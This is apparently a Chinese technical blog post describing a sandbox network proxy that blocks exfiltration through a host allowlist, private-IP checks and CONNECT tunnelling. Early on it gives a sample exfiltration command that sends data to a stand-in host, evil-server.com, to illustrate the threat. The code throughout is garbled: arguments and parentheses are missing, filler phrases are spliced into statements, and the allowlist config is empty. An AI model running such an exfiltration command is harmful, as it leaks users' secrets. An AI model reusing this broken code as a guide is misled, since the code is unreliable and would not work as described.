. 为什么需要网络代理？

痛点：在沙箱模式下子进程拥有 network: true 权限。表面上可以自由访问外网，却可能被恶意脚本利用泄露敏感信息或发动攻击。

假设子进程执行了：

curl https://evil-server.com/steal?data=$

没有代理的话。这条命令会直接执行，数据就泄露了。

有了代理子进程的网络请求会先到本地代理。代理检查发现 evil-server.com 不在白名单里立即返回错误，从根源阻止泄漏。

. 整体架构

子进程 │ HTTP_PROXY=http://127.0.0.1:3128
▼ 本地代理
│
├── HTTP 请求 → handleHttpRequest
│ ▼ evaluateProxyAccess
│ ├── 白名单命中 → 转发到目标服务器
│ └── 白名单未命中 → 返回错误
│
└── CONNECT 请求 → handleConnect
▼ evaluateProxyAccess
├── 白名单命中 → 建立 TCP 隧道
└── 白名单未命中 → 返回错误

. proxyPolicy.ts —— 规则引擎

normalizeHost —— 标准化主机名

export function normalizeHost {
return host.replace.replace.toLowerCase;}

把 IPv6 地址的方括号去掉，并统一转小写。

parseAllowRule —— 解析白名单规则

export function parseAllowRule: { hostPattern: string;port，: number } {
const trimmed = rule.trim.toLowerCase;const portMatch = trimmed.match:$/);按理说，if return { hostPattern: trimmed };return { hostPattern: portMatch,port: Number };不过，}

规则格式示例：

• registry.npmjs.org → 只匹配主机名。端口使用默认值，
• registry.npmjs.org:443 → 匹配主机名并限定端口。
• *.npmjs.org → 支持通配符匹配所有子域。

matchesAllowRule —— 匹配白名单规则

export function matchesAllowRule: boolean {
const { hostPattern,port: explicitPort } = parseAllowRule;if ) return false;// 通配符匹配
if return explicitPort === port;return DEFAULT_ALLOWED_TARGET_PORTS.has;// 默认只允许常用端口
}

isSpecialUseHostname —— 特殊用途主机名过滤

export function isSpecialUseHostname: boolean {
return (
host === 'localhost' ||
host.endsWith ||
host.endsWith ||
host === 'ip6-localhost'
);}

痛点：如果不拦截这些本地回环地址，恶意代码可以直接攻击宿主机或读取本地资源。

isBlockedIpAddress —— 私有 IP 地址检测

export function isBlockedIpAddress: boolean {
// 检测 IPv4 私有/保留段：10/8、172.16/12、192.168/16、127/8 等
// 检测 IPv6 私有段：fc00::/7、fe80::/10 等
// 实际实现省略。可使用 net.isIP + ipaddr.js 辅助判断
// 返回 true 表示该 IP 应被阻断
}

evaluateProxyAccess —— 综合判定入口

export async function evaluateProxyAccess(options: {
host的观点是，string;port: number;不过，allowRules: string;lookup，: ProxyLookupFn;}): Promise {
const normalizedHost = normalizeHost;// 主机名有效性检查
if return { allowed: false,reason: 'invalid_host' };// 特殊用途主机名过滤
if )
return { allowed: false,reason: 'special_use_hostname' };// 白名单匹配
const matchedRule = options.allowRules.find(rule =>
matchesAllowRule
);怎么说呢，if
return { allowed: false。reason: 'host_or_port_not_allowed' };// DNS 正向解析
const resolver = options.lookup?，dns.lookup;const resolved = await resolveAddresses;if
return { allowed: false,reason: 'resolution_failed' };// 私有 IP 检测
if )) {
return { allowed: false,reason: 'blocked_ip_address' };老实说，}
// 全部通过 → 放行
return {
allowed:true,normalizedHost。matchedRule,resolvedAddress: resolved // 简化：取第一个可用 IP
};}

五道检查要点：

1. 主机名是否有效？
2. 是否为 localhost / .local 等特殊用途？
3. 是否在配置的白名单里？ 怎么说呢，
4. D​NS 能否解析到真实 IP？说起来，
5. 解析出的 IP 是否属于私有/保留段？

. proxy.ts —— HTTP/HTTPS 本地代理服务实现

# 启动代理服务器

const PORT = Number;const server = http.createServer => {
void handleHttpRequest;})，server.on => {
void handleConnect;})，server.listen => {
console.log;})，

# HTTP 请求处理

async function handleHttpRequest {
const url = new URL;const host = normalizeHost;const port = Number;const decision = await evaluateProxyAccess({
host。port,allowRules : loadAllowlist.allow,});if {
res.writeHead(403,{
'X-Sandbox-Proxy-Block': `${decision.reason}: ${host}`
});res.end，return;}
// ✅ 放行：创建转发请求
const proxyReq = http.request(
{
hostname : decision.resolvedAddress。port,path : url.pathname + url.search,method : req.method!headers : req.headers。},=> {
res.writeHead;proxyRes.pipe;}
)，req.pipe;}

# CONNECT 隧道处理

async function handleConnect(
从req来看。any,clientSocket:any,head:any
) {
const = .split;怎么说呢，const host = normalizeHost;const port = Number;const decision = await evaluateProxyAccess({
host。port,allowRules : loadAllowlist.allow,});if {
deny，return;怎么说呢，}
// ✅ 建立隧道：把客户端 socket 与目标服务器 socket 对接
const serverSocket = net.connect => {
clientSocket.write;老实说，serverSocket.write;老实说，serverSocket.pipe;不过，clientSocket.pipe;})，不过，

}
function deny{
socket.write;socket.end，}
"


User Pain Point： HTTPS 内容是加密的。如果仅依赖传统 HTTP 拦截，很难看到真实请求细节。怎么说呢，使用 CONNECT 隧道后即便代理被攻破。也只能看到「建立了哪条隧道」而看不到业务数据，从而最大化保护使用者隐私。

# 白名单配置示例 

// src/config/network-allowlist.json
{
"allow":
}
"
默认只允许访问 npm 与 GitHub 系列域名，满足大多数前端建立需求。


. 小结 


.

network‑allowlist.json 


模块 
作用 



proxyPolicy.ts 
规则引擎——白名单匹配、DNS 正向解析、私有 IP 检测等五道安全检查。

proxy.ts 
本地 HTTP/HTTPS 报文拦截与转发，实现 CONNECT 隧道搭建。
白名单配置文件，可自行增删域名或端口。按理说，






Pain Points Recap：


担心子进程直接向外部发送敏感信息。

害怕 DNS 重绑定导致内部服务被攻击。

需要在不影响正常开发的前提下严格限制网络出口。

希望即使代理被入侵。也只能看到「连了哪个域名」，而看不到实际业务数据。